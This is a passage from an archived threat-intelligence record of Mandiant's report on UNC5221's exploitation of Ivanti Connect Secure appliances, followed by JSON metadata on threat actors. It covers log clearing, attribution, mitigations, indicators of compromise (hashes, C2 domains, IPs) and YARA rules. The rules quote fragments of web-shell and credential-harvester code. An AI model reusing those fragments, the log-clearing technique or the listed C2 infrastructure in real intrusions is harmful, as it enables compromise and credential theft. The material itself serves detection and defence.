missing.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 17 of 26\n\nEvent ID Summarized Description\r\nSYS32042 The Integrity Checker Tool manifest file is bad.\r\nSYS32087 A built-in integrity scan has started.\r\nSYS32088 A built-in integrity scan has been completed.\r\nTable 3: Integrity checker tool event IDs\r\nSystem Log Clearing\r\nIn some instances, the threat actor used a legitimate system utility,  /home/bin/logClear.pl  to clear system logs.\r\nThe clearing of system logs via this method generates event ID  ADM20599  in the admin event log for each log\r\ntype cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.\r\nLog Name File Path\r\nevents /runtime/logs/log.events.vc0\r\nadmin /runtime/logs/log.admin.vc0\r\naccess /runtime/logs/log.access.vc0\r\ndiagnosticlog /runtime/logs/log.diagnosticlog.vc0\r\npolicytrace /runtime/logs/log.policytrace.vc0\r\nsensorslog /runtime/logs/log.sensorslog.vc0\r\nTable 4: System log descriptions\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 18 of 26\n\nMandiant recommends hunting for event ID ADM20599  in the events log ( log.events.vc0 ) for evidence of log\r\nclearing.\r\nAttribution\r\nMandiant assesses with moderate confidence that UNC5221 is a China-nexus espionage threat actor. Mandiant has\r\nobserved UNC5221 targeting a wide range of verticals of strategic interest to the People's Republic of China\r\n(PRC) both pre and post disclosure, and early indications show that tooling and infrastructure overlap with past\r\nintrusions attributed to suspected China-based espionage actors. Additionally, Linux-based tools identified in\r\nincident response investigations use code from multiple Chinese-language Github repositories. As noted in our\r\nprevious blog post, UNC5221 has largely leveraged TTPs associated with zero-day exploitation of edge\r\ninfrastructure by suspected PRC nexus actors.\r\nRecommendations\r\nPatch Availability\r\nIvanti is releasing the first round of patches for specific versions of Ivanti Connect Secure starting on Jan. 31,\r\n2024. The remaining patches will be released on a staggered schedule for three different products that span\r\nmultiple branches and versions.\r\nInstalling the Mitigation \r\nAffected customers should install the mitigation immediately if a patch is not yet available for their version.\r\nInstalling the mitigation is intended to prevent future exploitation of the two vulnerabilities. It is not intended to\r\nremediate or otherwise contain an existing compromised device.\r\nOn Jan. 20, 2024, Ivanti released details related to a condition that would negatively impact the mitigation and\r\nrender appliances in a vulnerable state. The condition impacts customers who push configurations to appliances\r\nusing Ivanti Neurons for Secure Access (nSA) or Pulse One. Ivanti recommends customers to stop pushing\r\nconfigurations to appliances with the XML in place until patches are installed.\r\nIntegrity Checker Tool\r\nIvanti customers are still encouraged to first run and review their logs for historical hits by the internal Integrity\r\nChecker Tool (ICT). If the internal ICT comes back with no results, customers should then run the external ICT as\r\nit is more robust and resistant to tampering. Mandiant and Volexity have observed threat actors attempting to\r\ntamper with the internal (built-in) ICT to evade detection.\r\nCustomers should share the ICT results with Ivanti for further analysis. Ivanti will make a determination if the\r\nappliance is compromised and recommend next steps.\r\nPassword Resets\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 19 of 26\n\nIn addition to resetting the password of any local user configured on the appliance, Mandiant advises that\r\norganizations affected by the WARPWIRE credential stealer reset passwords of any users who authenticated to the\r\nappliance during the period when the malware was active. We also recommend customers search EDR telemetry\r\nand firewall logs for traffic to the WARPWIRE credential harvester C2 addresses listed in the IOCs section.\r\nHardening Guide\r\nWe have released a guidance document, which contains remediation and hardening recommendations for\r\nsuspected compromised Ivanti Connect Secure (CS) VPN appliances associated with the exploitation of CVE-2023-46805, CVE-2024-21887, CVE-2024-21888, and CVE-2024-21893.\r\nAcknowledgements\r\nWe would like to thank Ivanti for their continued partnership, support, and transparency following the exploitation\r\nof CVE-2023-46805 and CVE-2024-21887 by UNC5221. In addition, this work would not have been possible\r\nwithout the assistance from our team members across Mandiant Consulting, Intelligence, FLARE, and Google\r\nTAG.\r\nIndicators of Compromise (IOCs)\r\nHost-Based Indicators (HBIs)\r\nFilename MD5 Description\r\nhealth.py 3045f5b3d355a9ab26ab6f44cc831a83 CHAINLINE web shell\r\ncompcheckresult.cgi 3d97f55a03ceb4f71671aa2ecf5b24e9 LIGHTWIRE web shell\r\nlastauthserverused.js 2ec505088b942c234f39a37188e80d7a\r\nWARPWIRE credential harvester\r\nvariant\r\nlastauthserverused.js 8eb042da6ba683ef1bae460af103cc44\r\nWARPWIRE credential harvester\r\nvariant\r\nlastauthserverused.js a739bd4c2b9f3679f43579711448786f\r\nWARPWIRE credential harvester\r\nvariant\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 20 of 26\n\nFilename MD5 Description\r\nlastauthserverused.js a81813f70151a022ea1065b7f4d6b5ab\r\nWARPWIRE credential harvester\r\nvariant\r\nlastauthserverused.js d0c7a334a4d9dcd3c6335ae13bee59ea WARPWIRE credential harvester\r\nlastauthserverused.js e8489983d73ed30a4240a14b1f161254\r\nWARPWIRE credential harvester\r\nvariant\r\ncategory.py 465600cece80861497e8c1c86a07a23e FRAMESTING web shell\r\nlogo.gif N/A — varies\r\nConfiguration and cache dump or CAV\r\nweb server log exfiltration\r\nlogin.gif N/A — varies Configuration and cache dump\r\n[a-fA-F0-9]{10}\\.css N/A — varies Configuration and cache dump\r\nvisits.py N/A — varies WIREFIRE web shell\r\nNetwork-Based Indicators (NBIs)\r\nNetwork Indicator Type Description\r\nsymantke[.]com Domain WARPWIRE C2 server\r\nmiltonhouse[.]nl Domain WARPWIRE variant C2 server\r\nentraide-internationale[.]fr Domain WARPWIRE variant C2 server\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 21 of 26\n\nNetwork Indicator Type Description\r\napi.d-n-s[.]name Domain WARPWIRE variant C2 server\r\ncpanel.netbar[.]org Domain WARPWIRE variant C2 server\r\nclickcom[.]click Domain WARPWIRE variant C2 server\r\nclicko[.]click Domain WARPWIRE variant C2 server\r\nduorhytm[.]fun Domain WARPWIRE variant C2 server\r\nline-api[.]com Domain WARPWIRE variant C2 server\r\nareekaweb[.]com Domain WARPWIRE variant C2 server\r\nehangmun[.]com Domain WARPWIRE variant C2 server\r\nsecure-cama[.]com Domain WARPWIRE variant C2 server\r\n146.0.228[.]66 IPv4 WARPWIRE variant C2 server\r\n159.65.130[.]146 IPv4 WARPWIRE variant C2 server\r\n8.137.112[.]245 IPv4 WARPWIRE variant C2 server\r\n91.92.254[.]14 IPv4 WARPWIRE variant C2 server\r\n186.179.39[.]235IPv4 Mass exploitation activity\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 22 of 26\n\nNetwork Indicator Type Description\r\n50.215.39[.]49 IPv4 Post-exploitation activity\r\n45.61.136[.]14 IPv4 Post-exploitation activity\r\n173.220.106[.]166 IPv4 Post-exploitation activity\r\nYARA Rules\r\nrule M_Hunting_Webshell_BUSHWALK_1 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"This rule detects BUSHWALK, a webshell written in Perl CGI\r\nthat is embedded into a legitimate Pulse Secure file to enable file transfers\"\r\n strings:\r\n $s1 = \"SafariiOS\" ascii\r\n $s2 = \"command\" ascii\r\n $s3 = \"change\" ascii\r\n $s4 = \"update\" ascii\r\n $s5 = \"$data = RC4($key, $data);\" ascii\r\n condition:\r\n filesize \u003c 5KB\r\n and all of them\r\n}\r\nrule M_Hunting_Webshell_CHAINLINE_1 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"This rule detects the CHAINLINE webshell,\r\nwhich receives RC4 encrypted commands and returns the execution result\"\r\n md5 = \"3045f5b3d355a9ab26ab6f44cc831a83\"\r\n strings:\r\n $s1 = \"crypt(command: str)\" ascii\r\n $s2 = \"tmp[i] = chr(ord(tmp[i])\" ascii\r\n $s3 = \"ord(RC4_KEY[i % len(RC4_KEY)])\" ascii\r\n $s4 = \"class Health(Resource)\" ascii\r\n $s5 = \"crypt(base64.b64decode(command.encode(\" ascii\r\n $s6 = \"base64.b64encode(crypt(result)\" ascii\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 23 of 26\n\n$s7 = \"{\\\"message\\\": 'ok', \\\"stats\\\": result}\" ascii\r\n condition:\r\n filesize \u003c 100KB and\r\n any of them\r\n}\r\nrule M_HUNTING_APT_Webshell_FRAMESTING_result\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Detects strings associated with FRAMESTING webshell\"\r\n md5 = \"465600cece80861497e8c1c86a07a23e\"\r\n strings:\r\n $s1 = \"exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),\r\n{'request':request,'cache'\"\r\n $s2 = \"result={'message':'','action':0}\"\r\n condition:\r\n any of them\r\n}\r\nrule M_Hunting_Webshell_LIGHTWIRE_4 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Detects LIGHTWIRE based on the RC4 decoding\r\nand execution 1-liner.\"\r\n md5 = \"3d97f55a03ceb4f71671aa2ecf5b24e9\"\r\n strings:\r\n $re1 = /eval\\{my.{1,20}Crypt::RC4-\u003enew\\(\\\".{1,50}-\u003eRC4\\(decode_base64\\\r\n(CGI::param\\(\\'.{1,30};eval\\s\\$.{1,30}\\\"Compatibility\\scheck:\\s\\$@\\\";\\}/\r\n condition:\r\n filesize \u003c 1MB and all of them\r\n}\r\nrule M_Hunting_CredTheft_WARPWIRE_strings\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Detects strings within WARPWIRE credential harvester\"\r\n md5 = \"b15f47e234b5d26fb2cc81fc6fd89775\"\r\n strings:\r\n $header = \"function SetLastRealm(sValue) {\"\r\n // password fields\r\n $username = \"document.frmLogin.username.value;\"\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 24 of 26\n\n$password = \"document.frmLogin.password.value;\"\r\n // post version\r\n $btoa = \"btoa(\"\r\n $xhr_post = /xhr.open\\(.POST.,( )?url,/\r\n // get version\r\n $xhr_get = /xhr.open\\(.GET.,( )?url,/\r\n $xhr_send = \"xhr.send(null);\"\r\n condition:\r\n $header in (0..100)\r\n and $password in (@username[1]..@username[1]+100)\r\n and ((#btoa \u003e 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..\r\n@xhr_get[1]+50)))\r\n}\r\nMandiant Security Validation Actions\r\nVID Name\r\nA106-938 Malicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1\r\nA106-939 Malicious File Transfer - FRAMESTING, Upload, Variant #1\r\nA106-940 Malicious File Transfer - WARPWIRE, Download, Variant #3\r\nA106-941 Command and Control - WARPWIRE, DNS Query, Variant #3\r\nA106-942 Command and Control - WARPWIRE, DNS Query, Variant #1\r\nA106-943 Malicious File Transfer - WARPWIRE, Download, Variant #1\r\nA106-944 Command and Control - WARPWIRE, DNS Query, Variant #2\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 25 of 26\n\nA106-945 Malicious File Transfer - WARPWIRE, Download, Variant #2\r\nA106-946 Malicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1\r\nA106-947 Malicious File Transfer - LIGHTWIRE, Upload, Variant #1\r\nA106-934 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1\r\nA106-935 Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1\r\nA106-936 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2\r\nPosted in\r\nThreat Intelligence\r\nSource: https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 26 of 26\n\nehangmun[.]com secure-cama[.]com Domain Domain WARPWIRE WARPWIRE variant C2 server variant C2 server\n146.0.228[.]66 IPv4 WARPWIRE variant C2 server\n159.65.130[.]146 IPv4 WARPWIRE variant C2 server\n8.137.112[.]245 IPv4 WARPWIRE variant C2 server\n91.92.254[.]14 IPv4 WARPWIRE variant C2 server\n186.179.39[.]235 IPv4 Mass exploitation activity\n Page 22 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"MITRE",
		"Malpedia"
	],
	"references": [
		"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"
	],
	"report_names": [
		"investigating-ivanti-zero-day-exploitation"
	],
	"threat_actors": [
		{
			"id": "b2e48aa5-0dea-4145-a7e5-9a0f39d786d8",
			"created_at": "2024-01-18T02:02:34.643994Z",
			"updated_at": "2026-04-10T02:00:04.959645Z",
			"deleted_at": null,
			"main_name": "UNC5221",
			"aliases": [
				"UNC5221",
				"UTA0178"
			],
			"source_name": "ETDA:UNC5221",
			"tools": [
				"BRICKSTORM",
				"GIFTEDVISITOR",
				"GLASSTOKEN",
				"LIGHTWIRE",
				"PySoxy",
				"THINSPOOL",
				"WARPWIRE",
				"WIREFIRE",
				"ZIPLINE"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "6ce34ba9-7321-4caa-87be-36fa99dfe9c9",
			"created_at": "2024-01-12T02:00:04.33082Z",
			"updated_at": "2026-04-10T02:00:03.517264Z",
			"deleted_at": null,
			"main_name": "UTA0178",
			"aliases": [
				"UNC5221",
				"Red Dev 61"
			],
			"source_name": "MISPGALAXY:UTA0178",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "81dde5cc-c29f-430d-8c6e-e5e92d5015e7",
			"created_at": "2022-10-25T16:07:23.704358Z",
			"updated_at": "2026-04-10T02:00:04.718034Z",
			"deleted_at": null,
			"main_name": "Harvester",
			"aliases": [],
			"source_name": "ETDA:Harvester",
			"tools": [
				"Agentemis",
				"Cobalt Strike",
				"CobaltStrike",
				"Graphon",
				"Metasploit",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434404,
	"ts_updated_at": 1775791700,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2a49000641f70827e46b8bcd977980f96dfac082.pdf",
		"text": "https://archive.orkl.eu/2a49000641f70827e46b8bcd977980f96dfac082.txt",
		"img": "https://archive.orkl.eu/2a49000641f70827e46b8bcd977980f96dfac082.jpg"
	}
}